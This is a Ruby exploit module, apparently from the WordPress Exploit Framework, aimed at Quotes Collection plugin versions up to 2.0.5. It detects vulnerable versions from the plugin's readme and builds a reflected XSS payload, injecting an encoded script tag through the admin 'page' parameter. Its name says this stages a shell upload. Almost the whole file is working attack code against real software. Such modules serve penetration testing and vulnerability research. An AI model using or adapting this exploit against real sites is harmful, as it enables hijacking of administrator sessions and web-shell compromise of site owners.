# frozen_string_literal: true

class Wpxf::Exploit::QuotesCollectionReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Quotes Collection <= 2.0.5 Reflected XSS Shell Upload',
      author: [
        'Yorick Koster', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8649'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_quotes_collection_wordpress_plugin.html']
      ],
      date: 'Nov 08 2016'
    )
  end

  def check
    changelog = normalize_uri(wordpress_url_plugins, 'quotes-collection', 'readme.txt')
    check_version_from_custom_file(changelog, /Version\s([\d\.]+)\*/, '2.0.6')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php?page=quotes-collection')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'page' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
    )
  end
end
